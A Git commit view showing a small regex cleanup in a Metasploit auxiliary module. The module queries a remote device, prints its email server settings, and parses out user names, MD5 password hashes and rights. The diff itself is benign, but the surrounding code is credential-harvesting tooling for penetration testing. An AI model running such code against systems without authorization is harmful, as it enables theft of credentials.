Slightly simplify regex

bug/bundler_fix
Jon Hart 2015-12-03 15:19:35 -08:00
parent 98096ab71c
commit 6c31946995
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
1 changed files with 2 additions and 2 deletions

View File

@ -104,7 +104,7 @@ class Metasploit3 < Msf::Auxiliary
sock.put(EMAIL) sock.put(EMAIL)
if data = sock.get_once.split('&&') if data = sock.get_once.split('&&')
print_status("Email Settings: @ #{rhost}:#{rport}!") print_status("Email Settings: @ #{rhost}:#{rport}!")
if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i
if mailhost = Regexp.last_match[1].split(':') if mailhost = Regexp.last_match[1].split(':')
print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil?
print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil?
@ -202,7 +202,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!")
data.each do |val| data.each do |val|
usercount += 1 usercount += 1
pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}" pass = "#{val[/(([\d]+)[:]([0-9A-Z]+)[:]([0-9A-Z]+))/i]}"
value = pass.split(":") value = pass.split(":")
user = "#{value[1]}" user = "#{value[1]}"
md5hash = "#{value[2]}" md5hash = "#{value[2]}"